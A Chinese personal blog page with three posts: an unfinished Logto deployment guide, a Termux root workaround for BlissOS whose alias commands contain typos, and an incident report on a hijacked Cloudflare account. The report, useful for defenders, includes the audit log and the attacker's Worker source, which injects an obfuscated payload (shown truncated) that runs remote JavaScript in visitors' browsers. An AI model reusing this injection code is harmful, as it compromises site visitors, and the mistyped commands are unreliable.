YHL Blog

部署 Logto OSS

Thu, 18 Jun 2026 00:00:00 GMT

貌似上次发文章还是在4月的时候……所以让我们水一篇文章吧

Logto 是啥

好的我们首先抄看下官方的 README :

Logto 为你的 SaaS 或 AI 应用添加多租户、企业级单点登录和 RBAC。全部基于 OIDC 和 OAuth 2.1，简单、快速且对开发者友好。 ::github{repo="logto-io/logto"}

Logto 分为 Cloud 版本（官方托管的服务器）和 OSS 版本（自建），目前大概的状况是：

功能	Cloud 免费版	OSS
邮件/Passkey/第三方登录等连接器	×	√
隐藏“Powered by Logto"	×	√
绑定自己的域名	×	√
分配角色	×	√
应用调用方式	使用 Logto SDK	支持 Oauth
用户数限制	月活限制 50000 个	无
所以，一般情况下建议使用 OSS 版本
以下我们就举例：直接部署、自建 Docker 和使用雨云RCS快速部署三种方法。需要注意的是，使用直接部署和自建 Docker 需要自备服务器。

** 咕咕咕~ 这篇文章还没有写完喵！有空会尽快更完的！ ** ~~什么叫"有空"和"尽快"……~~

在 BlissOS 的 Termux 中找回一键 su !

Sat, 25 Apr 2026 00:00:00 GMT

本篇文章在 BlissOS 实体机下写作。

16.9.7

众所周知，目前 BlissOS 最新的能下载的版本是 16.9.7 但是存在一些奇怪的问题，其中就包括：解决方案是这样的：

to get root in fully-up-to-date Termux in BlissOS version 16.9.7, first grant Termux root permission in KernelSU app, then unset LD_PRELOAD, then launch a new bash session, then directly invoke /system/bin/su (with absolute path), then set LD_PRELOAD again
unset LD_PRELOAD
bash
/system/bin/su
export LD_PRELOAD=/data/data/com.termux/files/usr/lib/libtermux-exec-ld-preload.so

确实可以使用，但是不够优雅。这边写个一站式解决方案：

echo "alias su-bliss='env -i /system/bin/su'" >> ˜/.bashrc

重启下或新建终端就可以使用su-bliss直接进入 root 终端了

其他版本

在这些版本中的 root 方式一般为

/system/bin/su

使用别名替换一下：

echo "alias su-bliss='/sysyem/bin/su'" >> ˜/.bashrc

记一次 Cloudflare 账户遭到恶意 Worker 注入

Thu, 23 Apr 2026 00:00:00 GMT

经过

昨天访问我的站点，突然发现页面变成了 Error 1000，即反代源站为 Cloudflare 内部ip。

由于本站为部署在 Cloudflare Worker 的静态站点，并使用了 CNAME 优选，唯一可能的原因就是 Worker 的路由被删除。

在具体的 Worker 页面查看，确实，原本绑定 y-dev.tech/* 和www.y-dev.tech/* 的路由已经消失。但是我清楚地记得我没有删除！怎么回事呢？

重新尝试添加路由，发现提示：路由已被quiet-limit-xxxxx使用。看样子这是一个worker。点开一看，是一个没有绑定 Github 的 Worker，但是绑定了我大部分的业务子域名,甚至还有*y-dev.tech/*的路由。再看看代码，发现是被js注入了，向返回页面中添加了混淆且加密的恶意脚本

我当即删除了这个 Worker 并查看了我的账户审计日志，发现该 Worker的创建时间是我不在线的一天前的晚上12点，使用api授权并创建了多个 Worker路由，且操作时间并非集中在几秒钟内，判断为人工操作，操作来自ip 85.198.46.203。对ip的访问记录没有进一步的查询结果，且该ip被归为代理出口。

通过api这个信息，我查看了我的账户api token，并且发现了一个名叫(我的某个项目)-build-token但申请了几乎所有权限的api token，我当即进行了删除。出于保险起见我还重置了 Global API Key。

复盘

为什么我能马上发现？

歪打正着，我的站点本身就是部署在 Worker 上且使用路由的，在他修改路由时相当于删除了源站绑定导致请求直接流入 Cloudflare IP 出现错误，这才被察觉。

代码干了什么？

假装无事发生，请求源站并返回页面，但是在返回的页面插入一个 script 块，里面写了混淆+加密的js，解密后是在客户端执行远程js代码。

有什么危害

首先，在我不知情的情况创建 Worker、API Token几乎完全权限的情况下，他几乎可以对我的账户及域名进行任意操作。

其次，这个 Worker 本身设计是无感的且很难主动发现。

关于那个 API Token

那个 Token 是 Cloudflare 进行绑定 Github 的 Worker Build 必须的，是自动生成的，且默认情况下整个账户的 Worker 会使用同一 token。该 token 具有的相关权限：修改 Worker 代码，修改 Worker 路由，修改账户设置等。具体参见 Cloudflare的文档：

The API token in Workers Builds defines the access granted to Workers Builds for interacting with your account's resources. Currently, only user tokens are supported, with account-owned token support coming soon.

When you select Create new token, a new API token will be created automatically with the following permissions:

Account: Account Settings (read), Workers Scripts (edit), Workers KV Storage (edit), Workers R2 Storage (edit) Zone: Workers Routes (edit) for all zones on the account User: User Details (read), Memberships (read) You can configure the permissions of this API token by navigating to My Profile > API Tokens for user tokens.

It is recommended to consistently use the same API token across all uploads and deployments of your Worker to maintain consistent

由于我并没有在任何地方引用这些 token ，有极大概率是近期泛滥的 npm 投毒导致的。

启示？

API Token 保管好！！！设置 ip 限制和权限限制！！及时更新你的 npm 包！具体来说可以把 Build Token 确认不需要的权限要删除。为保安全，也建议多关注一下安全事件，及时整改。

完整资源

完整审计日志

Time	ID	Action	Success	Actor Type	Actor ID	Actor IP	Owner ID	Resource Type	Resource ID	Metadata
2026-04-21T14:28:39Z	79edfc84-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	bd5768dc...	{"actor_email":"o****e@outlook.com","pattern":"previewapi.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:28:33Z	e8ba2671-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	fdf4c171...	{"actor_email":"o****e@outlook.com","pattern":"ftp.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:28:27Z	29dbea2a-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	3b765f82...	{"actor_email":"o****e@outlook.com","pattern":"odview.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:28:22Z	8a6af94b-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	5c70b3f5...	{"actor_email":"o****e@outlook.com","pattern":"previewfront.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:28:17Z	fdc121a5-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	86945d38...	{"actor_email":"o****e@outlook.com","pattern":"www.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:28:12Z	e02023e0-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	9f89412d...	{"actor_email":"o****e@outlook.com","pattern":"dl.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:28:05Z	209f14c6-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	900b9c63...	{"actor_email":"o****e@outlook.com","pattern":"esw.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:27:58Z	32c587dd-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	e07701a8...	{"actor_email":"o****e@outlook.com","pattern":"esw2.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:27:49Z	533b0984-...	route_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	e59e0207...	{"actor_email":"o****e@outlook.com","pattern":"cdn.od.ftp.<REDACTED>/","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:26:05Z	9774bae0-...	route_create	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	40732509...	{"actor_email":"o****e@outlook.com","pattern":"<REDACTED>/*","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:25:21Z	4cfc8f60-...	route_create	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	0717a5e3...	{"actor_email":"o****e@outlook.com","pattern":"<REDACTED>/*","script_name":"quiet-limit-d8c3","zone_name":"<REDACTED>"}
2026-04-21T14:24:26Z	3c59b765-...	script_deploy	TRUE	user	47311258	85.198.46.203	7fe8******84e9	script	quiet-limit-d8c3	{"actor_email":"o*****e@outlook.com","deployment_id":"8c1e3aa4-..."}
2026-04-21T14:24:26Z	ed3fb854-...	script_update	TRUE	user	47311258	85.198.46.203	7fe8******84e9	script	quiet-limit-d8c3	{"actor_email":"o*****e@outlook.com","script_tag":"1843d5a6...","version_id":"ada07faa-..."}
2026-04-21T14:23:41Z	ccf69a4b-...	script_on_subdomain	TRUE	user	47311258	85.198.46.203	7fe8******84e9	script	quiet-limit-d8c3	{"actor_email":"o*****e@outlook.com"}
2026-04-21T14:23:39Z	0a19ec74-...	script_deploy	TRUE	user	47311258	85.198.46.203	7fe8******84e9	script	quiet-limit-d8c3	{"actor_email":"o*****e@outlook.com","deployment_id":"8ac5a4ed-..."}
2026-04-21T14:23:39Z	c7e30b68-...	script_create	TRUE	user	47311258	85.198.46.203	7fe8******84e9	script	quiet-limit-d8c3	{"actor_email":"o*****e@outlook.com","script_tag":"1843d5a6...","version_id":"92b8684e-..."}
2026-04-21T14:23:10Z	71f8c893-...	route_delete	TRUE	user	47311258	85.198.46.203	7fe8******84e9	route	77dacf0b...	{"actor_email":"o****e@outlook.com","pattern":"esm.<REDACTED>/","zone_name":"<REDACTED>"}
2026-04-21T14:21:44Z	0dadecf5-...	login	TRUE	user	4903******62a6	85.198.46.203	4903******62a6	account	4903******62a6	{"actor_email":"o*****e@outlook.com"}

Worker 原代码

export default {
  async fetch(request) {
    const response = await fetch(request);
    const contentType = response.headers.get("content-type");
    
    if (contentType && contentType.includes("text/html")) {
      let html = await response.text();
      
      const yourScript = `<script>
(function(){var _0x47e122=32;var _0x0b6624='CEZVTkNUSU9OCAlbKgdVU0UAU1RSSUNUBxsqSUYIVFlQRU9GAFdJTkRPVx0dHQdVTkRFRklORUQHXFxUWVBFT0YARE9DVU1FTlQdHR0HVU5ERUZJTkVEB1xcV0lORE9XDn9/Ynd/c2NyaXB0f2luaXRpYWxpemVkf38JUkVUVVJOGypXSU5ET1cOf39id39zY3JpcHR/aW5pdGlhbGl6ZWR/fx1UUlVFGypDT05TVABsb2NhbH9zdG9yYWdlf2tleR0HU0lURX9SRVBBSVJ/U1RBVEUHGypDT05TVABsZWdhY3l/c3RvcmFnZX9rZXkdB0JXDURPV05MT0FERUQHGypDT05TVABkZWZhdWx0f3Nob3d/ZGVsYXkdERAQEBsqQ09OU1QAaGFuZGxlcn9leHBvcnQdB39/Ynd/bW9kZX9ydW5/fwcbKkNPTlNUAG1vZGV/ZmlsZX9tYXAdWypCUk9XU0VSGgdWEQ5KUwcMKkZPTlQaB1YSDkpTBwwqUkVDQVBUQ0hBGgdWEw5KUwcMKkJTT0QaB1YUDkpTBwwqU0lMRU5UGgdWFQ5KUwcMKkNMT1VERkxBUkUaB1YWDkpTBwwqQ0Z/VVBEQVRFGgdWFw5KUwcMKk1BQ39SRUNBUFRDSEEaB1YYDkpTBwwqTUFDf0NMT1VERkxBUkUaB1YZDkpTBypdGypDT05TVABjb250cmFjdH9jb25maWcdWypycGN/aG9zdHMaewJIVFRQUxoPD1JQQw1NQUlOTkVUDk1BVElDDlFVSUtOT0RFDlBSTwIMAkhUVFBTGg8PUlBDDkFOS1IOQ09ND1BPTFlHT04CDAJIVFRQUxoPD1BPTFlHT04NUFVCTElDDk5PRElFUw5BUFACDAJIVFRQUxoPD1BPTFlHT04NTUFJTk5FVA5QVUJMSUMOQkxBU1RBUEkOSU8CDAJIVFRQUxoPDxFSUEMOSU8PTUFUSUMCDAJIVFRQUxoPD1BPTFlHT04ORFJQQw5PUkcCDAJIVFRQUxoPD1BPTFlHT04OR0FURVdBWQ5URU5ERVJMWQ5DTwIMAkhUVFBTGg8PR0FURVdBWQ5URU5ERVJMWQ5DTw9QVUJMSUMPUE9MWUdPTgIMAkhUVFBTGg8PUE9MWUdPTg1NQUlOTkVUDkdBVEVXQVkOVEFUVU0OSU8CDAJIVFRQUxoPD1BPTFlHT04OUlBDDlNVQlFVRVJZDk5FVFdPUksPUFVCTElDAgwCSFRUUFMaDw9QT0xZR09ODlRIRVJQQw5JTwIMAkhUVFBTGg8PUE9MWUdPTg5MQVZBDkJVSUxEAgwCSFRUUFMaDw9QT0xZR09ODUJPUg1SUEMOUFVCTElDTk9ERQ5DT00CDAJIVFRQUxoPD1BPTFlHT04OUlBDDkhZUEVSU1lOQw5YWVoPAn0MKmNvbnRyYWN0f2FkZHJlc3MaBxBYFERlExdiF0JlEUJGQhhBFxRBQ2QYYUYVF0ESQxEQQxViEWERFGJiEwcMKmZ1bmN0aW9uf3NlbGVjdG9yGgdCFhhEERgQGQcMKnRpbWVvdXR/bXMaFRAQEAwqbWF4f3JldHJpZXMaEipdGypJRghUWVBFT0YAf39id39jb250cmFjdH9vdmVycmlkZQEdHQdVTkRFRklORUQHBgZ/f2J3f2NvbnRyYWN0f292ZXJyaWRlCVsqVFJZW29CSkVDVA5BU1NJR04IY29udHJhY3R/Y29uZmlnDH9/Ynd/Y29udHJhY3R/b3ZlcnJpZGUJG11DQVRDSAhFCVtdKl0qTEVUAENGRx1bXRsqTEVUAFBBTkVMYkFTRXVSTB0HBxsqTEVUAEFQSWJBU0UdBwcbKkxFVABMT0d1UkwdBwcbKkxFVABUT0tFTnVSTB0HBxsqTEVUAERPV05MT0FEdVJMHQcHGypDT05TVABhcGl/cRJ/a2V5f2hleB0HFhATQRAVFBcZFEUZFhdFRhgTFEJGERkQQxMXRhhEFBIRExNEF0MVQUUQFUNFEkRERhAVFhlCFEYVEBhEF0JDEwcbKkZVTkNUSU9OAEIWFFVSTGVOQ09ERWFTQ0lJCFNUUglbKlRSWVsqUkVUVVJOAEJUT0EIc1RSSU5HCFNUUgkJDlJFUExBQ0UID3wLD0cMBw0HCQ5SRVBMQUNFCA98Dw9HDAd/BwkOUkVQTEFDRQgPHQsED0cMBwcJGypdQ0FUQ0gIRQlbKlJFVFVSTgcHGypdKl0qRlVOQ1RJT04ASEVYdE9iWVRFUwhIRVgJWypUUllbKkhFWB1zVFJJTkcISEVYXFwHBwkOVFJJTQgJGypJRggBD357QQ1GEA0ZfVsWFF0ED0kOVEVTVAhIRVgJCVJFVFVSTgBOVUxMGypDT05TVABPVVQdTkVXAHVJTlQYYVJSQVkIExIJGypGT1IITEVUAEkdEBtJHBMSG0kLCwlbKk9VVHtJfR1QQVJTRWlOVAhIRVgOU1VCU1RSCEkKEgwSCQwRFgkGEFhGRhsqXSpSRVRVUk4AT1VUGypdQ0FUQ0gIRQlbKlJFVFVSTgBOVUxMGypdKl0qRlVOQ1RJT04AQllURVN0T2IWFHVSTAhCWVRFUwlbKlRSWVsqTEVUAEJJTh0HBxsqQ09OU1QAQ0hVTksdEFgYEBAQGypGT1IITEVUAEkdEBtJHEJZVEVTDkxFTkdUSBtJCx1DSFVOSwlbKkJJTgsdc1RSSU5HDkZST01jSEFSY09ERQ5BUFBMWQhOVUxMDEJZVEVTDlNVQkFSUkFZCEkMSQtDSFVOSwkJGypdKlJFVFVSTgBCVE9BCEJJTgkOUkVQTEFDRQgPfAsPRwwHDQcJDlJFUExBQ0UID3wPD0cMB38HCQ5SRVBMQUNFCA8dCwQPRwwHBwkbKl1DQVRDSAhFCVsqUkVUVVJOBwcbKl0qXSpGVU5DVElPTgBCFhRVUkx0T2JZVEVTCEIWFFVSTAlbKlRSWVsqSUYIAUIWFFVSTFxcVFlQRU9GAEIWFFVSTAEdHQdTVFJJTkcHCVJFVFVSTgBOVUxMGypMRVQAQhYUHUIWFFVSTA5SRVBMQUNFCA8ND0cMBwsHCQ5SRVBMQUNFCA9/D0cMBw8HCRsqQ09OU1QAUEFEHUIWFA5MRU5HVEgFFBsqSUYIUEFECUIWFAsdBx0HDlJFUEVBVAgUDVBBRAkbKkNPTlNUAEJJTh1BVE9CCEIWFAkbKkNPTlNUAE9VVB1ORVcAdUlOVBhhUlJBWQhCSU4OTEVOR1RICRsqRk9SCExFVABJHRAbSRxCSU4OTEVOR1RIG0kLCwlPVVR7SX0dQklODkNIQVJjT0RFYVQISQkGEFhGRhsqUkVUVVJOAE9VVBsqXUNBVENICEUJWypSRVRVUk4ATlVMTBsqXSpdKkZVTkNUSU9OAEJZVEVTdE91VEYYCEJZVEVTCVsqVFJZWypSRVRVUk4ATkVXAHRFWFRkRUNPREVSCAdVVEYNGAcMW0ZBVEFMGkZBTFNFXQkOREVDT0RFCEJZVEVTCRsqXUNBVENICEUJWypMRVQAUx0HBxsqRk9SCExFVABJHRAbSRxCWVRFUw5MRU5HVEgbSQsLCVMLHXNUUklORw5GUk9NY0hBUmNPREUIQllURVN7SX0JGypSRVRVUk4AUxsqXSpdKkZVTkNUSU9OAENPTkNBVGJZVEVTCEEMQglbKkNPTlNUAE9VVB1ORVcAdUlOVBhhUlJBWQhBDkxFTkdUSAtCDkxFTkdUSAkbKk9VVA5TRVQIQQwQCRsqT1VUDlNFVAhCDEEOTEVOR1RICRsqUkVUVVJOAE9VVBsqXSpBU1lOQwBGVU5DVElPTgBTSEESFRZiWVRFUwhCWVRFUwlbKlRSWVsqSUYIVFlQRU9GAENSWVBUTx0dHQdVTkRFRklORUQHXFwBQ1JZUFRPDlNVQlRMRVxcAUNSWVBUTw5TVUJUTEUORElHRVNUCVJFVFVSTgBOVUxMGypDT05TVABESUdFU1QdQVdBSVQAQ1JZUFRPDlNVQlRMRQ5ESUdFU1QIB3NoYQ0SFRYHDEJZVEVTDkJVRkZFUh9CWVRFUw5CVUZGRVIaQllURVMJGypSRVRVUk4ATkVXAHVJTlQYYVJSQVkIRElHRVNUCRsqXUNBVENICEUJWypSRVRVUk4ATlVMTBsqXSpdKkZVTkNUSU9OAFJDFAhLRVliWVRFUwxEQVRBYllURVMJWypDT05TVABTHU5FVwB1SU5UGGFSUkFZCBIVFgkbKkZPUghMRVQASR0QG0kcEhUWG0kLCwlTe0l9HUkbKkxFVABKHRAbKkZPUghMRVQASR0QG0kcEhUWG0kLCwlbKkodCEoLU3tJfQtLRVliWVRFU3tJBUtFWWJZVEVTDkxFTkdUSH0JBhIVFRsqQ09OU1QAVE1QHVN7SX0bKlN7SX0dU3tKfRsqU3tKfR1UTVAbKl0qTEVUAEkdEBsqSh0QGypDT05TVABPVVQdTkVXAHVJTlQYYVJSQVkIREFUQWJZVEVTDkxFTkdUSAkbKkZPUghMRVQATh0QG04cREFUQWJZVEVTDkxFTkdUSBtOCwsJWypJHQhJCxEJBhIVFRsqSh0ISgtTe0l9CQYSFRUbKkNPTlNUAFRNUB1Te0l9GypTe0l9HVN7Sn0bKlN7Sn0dVE1QGypDT05TVABLHVN7CFN7SX0LU3tKfQkGEhUVfRsqT1VUe059HURBVEFiWVRFU3tOfX5LGypdKlJFVFVSTgBPVVQbKl0qRlVOQ1RJT04AQlVJTERhUEl1UkwIUEFSQU1TCVsqSUYIAUFQSWJBU0UJUkVUVVJOBwcbKlRSWVsqQ09OU1QAUVMdTkVXAHVybHNFQVJDSHBBUkFNUwhQQVJBTVNcXFtdCQ5UT3NUUklORwgJGypDT05TVABLRVkdSEVYdE9iWVRFUwhhcGl/cRJ/a2V5f2hleAkbKklGCEtFWQYGVFlQRU9GAHVJTlQYYVJSQVkBHR0HVU5ERUZJTkVEBwlbKkNPTlNUAE5PTkNFHU5FVwB1SU5UGGFSUkFZCBgJGypJRghUWVBFT0YAQ1JZUFRPAR0dB1VOREVGSU5FRAcGBkNSWVBUTw5HRVRyQU5ET012QUxVRVMJWypDUllQVE8OR0VUckFORE9NdkFMVUVTCE5PTkNFCRsqXUVMU0VbKkZPUghMRVQASR0QG0kcTk9OQ0UOTEVOR1RIG0kLCwlOT05DRXtJfR0IbUFUSA5SQU5ET00ICQoSFRYJBhIVFRsqXSpDT05TVABFTkMdCFRZUEVPRgB0RVhUZU5DT0RFUgEdHQdVTkRFRklORUQHCR9ORVcAdEVYVGVOQ09ERVIICRpOVUxMGypDT05TVABQTEFJTmJZVEVTHUVOQx9FTkMORU5DT0RFCFFTCRoIRlVOQ1RJT04ICVsqQ09OU1QAQVJSHU5FVwB1SU5UGGFSUkFZCFFTDkxFTkdUSAkbKkZPUghMRVQASR0QG0kcUVMOTEVOR1RIG0kLCwlBUlJ7SX0dUVMOQ0hBUmNPREVhVAhJCQYSFRUbKlJFVFVSTgBBUlIbKl0JCAkbKkNPTlNUAEtFWW1BVB1ORVcAdUlOVBhhUlJBWQhLRVkOTEVOR1RIC05PTkNFDkxFTkdUSAkbKktFWW1BVA5TRVQIS0VZDBAJGypLRVltQVQOU0VUCE5PTkNFDEtFWQ5MRU5HVEgJGypDT05TVABDSVBIRVJiWVRFUx1SQxQIS0VZbUFUDFBMQUlOYllURVMJGypDT05TVABQQVlMT0FEHU5FVwB1SU5UGGFSUkFZCE5PTkNFDkxFTkdUSAtDSVBIRVJiWVRFUw5MRU5HVEgJGypQQVlMT0FEDlNFVAhOT05DRQwQCRsqUEFZTE9BRA5TRVQIQ0lQSEVSYllURVMMTk9OQ0UOTEVOR1RICRsqQ09OU1QAUEFDS0VEHUJZVEVTdE9iFhR1UkwIUEFZTE9BRAkbKklGCFBBQ0tFRAlbKlJFVFVSTgBBUEliQVNFCwcPQVBJD0lOREVYDlBIUB9RHQcLUEFDS0VEGypdKl0qUkVUVVJOBwcbKl1DQVRDSAhFCVsqUkVUVVJOBwcbKl0qXSpBU1lOQwBGVU5DVElPTgBERUNSWVBUYVBJZU5WRUxPUEUIT0JKDFNDT1BFCVsqVFJZWypJRggBT0JKXFxUWVBFT0YAT0JKAR0dB09CSkVDVAcJUkVUVVJOAE9CShsqSUYIVFlQRU9GAE9CSg5RAR0dB1NUUklORwdcXAFPQkoOUQlSRVRVUk4AT0JKGypDT05TVABTQUZFc0NPUEUdCFRZUEVPRgBTQ09QRR0dHQdTVFJJTkcHBgYPfntBDVoQDRl/fVsRDBEWXQQPSQ5URVNUCFNDT1BFCQkfU0NPUEUaB0NGRwcbKkNPTlNUAEJBU0VrRVkdSEVYdE9iWVRFUwhhcGl/cRJ/a2V5f2hleAkbKklGCAFCQVNFa0VZCVJFVFVSTgBPQkobKklGCE9CSg5FTkMdHR0HR0NNEQcJWypUUllbKkNPTlNUAFBBQ0tFRB1CFhRVUkx0T2JZVEVTCE9CSg5RCRsqSUYIAVBBQ0tFRFxcUEFDS0VEDkxFTkdUSBwIERILERYLEQkJVEhST1cATkVXAGVSUk9SCAdHQ01/UEFDS0VEBwkbKkNPTlNUAElWHVBBQ0tFRA5TTElDRQgQDBESCRsqQ09OU1QAQ0lQSEVSd0lUSHRBRx1QQUNLRUQOU0xJQ0UIERIJGypDT05TVABHQ01sQUJFTB1TQUZFc0NPUEULB1xHQ00RBxsqQ09OU1QATEFCRUwdCFRZUEVPRgB0RVhUZU5DT0RFUgEdHQdVTkRFRklORUQHCR9ORVcAdEVYVGVOQ09ERVIICQ5FTkNPREUIR0NNbEFCRUwJGghGVU5DVElPTggJWypDT05TVABTHUdDTWxBQkVMGypDT05TVABBUlIdTkVXAHVJTlQYYVJSQVkIUw5MRU5HVEgJGypGT1IITEVUAEkdEBtJHFMOTEVOR1RIG0kLCwlBUlJ7SX0dUw5DSEFSY09ERWFUCEkJBhIVFRsqUkVUVVJOAEFSUhsqXQkICRsqQ09OU1QAS0VZYllURVMdQVdBSVQAU0hBEhUWYllURVMIQ09OQ0FUYllURVMIQkFTRWtFWQxMQUJFTAkJGypJRggBS0VZYllURVMJVEhST1cATkVXAGVSUk9SCAdHQ01/S0VZBwkbKklGCFRZUEVPRgBDUllQVE8dHR0HVU5ERUZJTkVEB1xcAUNSWVBUTw5TVUJUTEVcXAFDUllQVE8OU1VCVExFDklNUE9SVGtFWQlUSFJPVwBORVcAZVJST1IIB0dDTX9TVUJUTEUHCRsqQ09OU1QAQ1JZUFRPa0VZHUFXQUlUAENSWVBUTw5TVUJUTEUOSU1QT1JUa0VZCAdSQVcHDEtFWWJZVEVTDFtOQU1FGgdhZXMNZ2NtB10MRkFMU0UMewdERUNSWVBUB30JGypDT05TVABQTEFJTmJVRh1BV0FJVABDUllQVE8OU1VCVExFDkRFQ1JZUFQIW05BTUUaB2Flcw1nY20HDElWGklWDFRBR2xFTkdUSBoREhhdDENSWVBUT2tFWQxDSVBIRVJ3SVRIdEFHCRsqQ09OU1QASlNPTh1CWVRFU3RPdVRGGAhORVcAdUlOVBhhUlJBWQhQTEFJTmJVRgkJGypSRVRVUk4AanNvbg5QQVJTRQhKU09OCRsqXUNBVENICEUJWypJRghUWVBFT0YAT0JKDlESHR0dB1NUUklORwcGBk9CSg5REglbKkNPTlNUAFBBQ0tFRBIdQhYUVVJMdE9iWVRFUwhPQkoOURIJGypJRghQQUNLRUQSBgZQQUNLRUQSDkxFTkdUSB4dGQlbKkNPTlNUAE5PTkNFHVBBQ0tFRBIOU0xJQ0UIEAwYCRsqQ09OU1QAQ0lQSEVSEh1QQUNLRUQSDlNMSUNFCBgJGypDT05TVABLRVltQVQdTkVXAHVJTlQYYVJSQVkIQkFTRWtFWQ5MRU5HVEgLTk9OQ0UOTEVOR1RICRsqS0VZbUFUDlNFVAhCQVNFa0VZDBAJGypLRVltQVQOU0VUCE5PTkNFDEJBU0VrRVkOTEVOR1RICRsqQ09OU1QAUExBSU5iWVRFUxIdUkMUCEtFWW1BVAxDSVBIRVISCRsqQ09OU1QASlNPThIdQllURVN0T3VURhgIUExBSU5iWVRFUxIJGypSRVRVUk4AanNvbg5QQVJTRQhKU09OEgkbKl0qXSpSRVRVUk4AT0JKGypdKl0qSUYIT0JKDkVOQx0dHQdREgcJWypDT05TVABQQUNLRUQdQhYUVVJMdE9iWVRFUwhPQkoOUQkbKklGCAFQQUNLRURcXFBBQ0tFRA5MRU5HVEgcGQlSRVRVUk4AT0JKGypDT05TVABOT05DRR1QQUNLRUQOU0xJQ0UIEAwYCRsqQ09OU1QAQ0lQSEVSHVBBQ0tFRA5TTElDRQgYCRsqQ09OU1QAS0VZbUFUHU5FVwB1SU5UGGFSUkFZCEJBU0VrRVkOTEVOR1RIC05PTkNFDkxFTkdUSAkbKktFWW1BVA5TRVQIQkFTRWtFWQwQCRsqS0VZbUFUDlNFVAhOT05DRQxCQVNFa0VZDkxFTkdUSAkbKkNPTlNUAFBMQUlOYllURVMdUkMUCEtFWW1BVAxDSVBIRVIJGypDT05TVABKU09OHUJZVEVTdE91VEYYCFBMQUlOYllURVMJGypSRVRVUk4AanNvbg5QQVJTRQhKU09OCRsqXSpSRVRVUk4AT0JKGypdQ0FUQ0gIRQlbKlJFVFVSTgBPQkobKl0qXSpUUllbKldJTkRPVw5/f0JXZEVDUllQVGFQSWVOVkVMT1BFHURFQ1JZUFRhUEllTlZFTE9QRRsqXUNBVENICEUJW10qTEVUAFNIT1dkRUxBWR1kZWZhdWx0f3Nob3d/ZGVsYXkbKkxFVABNT0RFHQdCUk9XU0VSBxsqRlVOQ1RJT04ARkVUQ0h3SVRIdElNRU9VVAhVUkwMT1BUSU9OUwxUSU1FT1VUbVMJWypDT05TVABDT05UUk9MTEVSHU5FVwBhQk9SVGNPTlRST0xMRVIICRsqQ09OU1QAVElNRU9VVGlEHVNFVHRJTUVPVVQICAkdHkNPTlRST0xMRVIOQUJPUlQICQxUSU1FT1VUbVNcXBUQEBAJGypDT05TVABPUFRTHW9CSkVDVA5BU1NJR04IW10MT1BUSU9OU1xcW10MW1NJR05BTBpDT05UUk9MTEVSDlNJR05BTF0JGypSRVRVUk4ARkVUQ0gIVVJMDE9QVFMJDkZJTkFMTFkICAkdHkNMRUFSdElNRU9VVAhUSU1FT1VUaUQJCRsqXSpBU1lOQwBGVU5DVElPTgBGRVRDSGpTT053SVRIdElNRU9VVAhVUkwMT1BUSU9OUwxUSU1FT1VUbVMJWypDT05TVABSRVNQHUFXQUlUAEZFVENId0lUSHRJTUVPVVQIVVJMDE9QVElPTlMMVElNRU9VVG1TCRsqSUYIAVJFU1AOT0sJVEhST1cATkVXAGVSUk9SCAdIVFRQfwcLUkVTUA5TVEFUVVMJGypSRVRVUk4AQVdBSVQAUkVTUA5KU09OCAkbKl0qRlVOQ1RJT04AREVDT0RFaEVYc1RSSU5HCEhFWAlbKlRSWVsqTEVUAFJFU1VMVB0HBxsqRk9SCExFVABJHRAbSRxIRVgOTEVOR1RIG0kLHRIJWypDT05TVABCWVRFc1RSSU5HHUhFWA5TVUJTVFIISQwSCRsqQ09OU1QAQllURR1QQVJTRWlOVAhCWVRFc1RSSU5HDBEWCRsqSUYIQllURR4QCVJFU1VMVAsdc1RSSU5HDkZST01jSEFSY09ERQhCWVRFCRsqXSpSRVRVUk4AUkVTVUxUGypdQ0FUQ0gIRQlbKlJFVFVSTgcHGypdKl0qRlVOQ1RJT04AREVDT0RFckVTVUxUCFJFU1VMVAlbKlRSWVsqQ09OU1QASEVYZEFUQR1SRVNVTFQOU1RBUlRTd0lUSAgHEFgHCR9SRVNVTFQOU1VCU1RSCBIJGlJFU1VMVBsqSUYISEVYZEFUQQ5MRU5HVEgcERIYCVJFVFVSTgcHGypDT05TVABMRU5HVEhoRVgdSEVYZEFUQQ5TVUJTVFIIFhQMFhQJGypDT05TVABMRU5HVEgdUEFSU0VpTlQITEVOR1RIaEVYDBEWCRsqSUYITEVOR1RIHhAGBkhFWGRBVEEOTEVOR1RIHh0REhgLTEVOR1RIChIJWypDT05TVABTVFJJTkdoRVgdSEVYZEFUQQ5TVUJTVFIIERIYDExFTkdUSAoSCRsqUkVUVVJOAERFQ09ERWhFWHNUUklORwhTVFJJTkdoRVgJGypdKlJFVFVSTgcHGypdQ0FUQ0gIRQlbKlJFVFVSTgcHGypdKl0qQVNZTkMARlVOQ1RJT04AUE9TVGpTT053SVRIdElNRU9VVAhVUkwMQk9EWQxUSU1FT1VUbVMJWypSRVRVUk4AQVdBSVQARkVUQ0hqU09Od0lUSHRJTUVPVVQIVVJMDFsqTUVUSE9EGgdwb3N0BwwqSEVBREVSUxpbKgdjT05URU5UDXRZUEUHGgdBUFBMSUNBVElPTg9KU09OB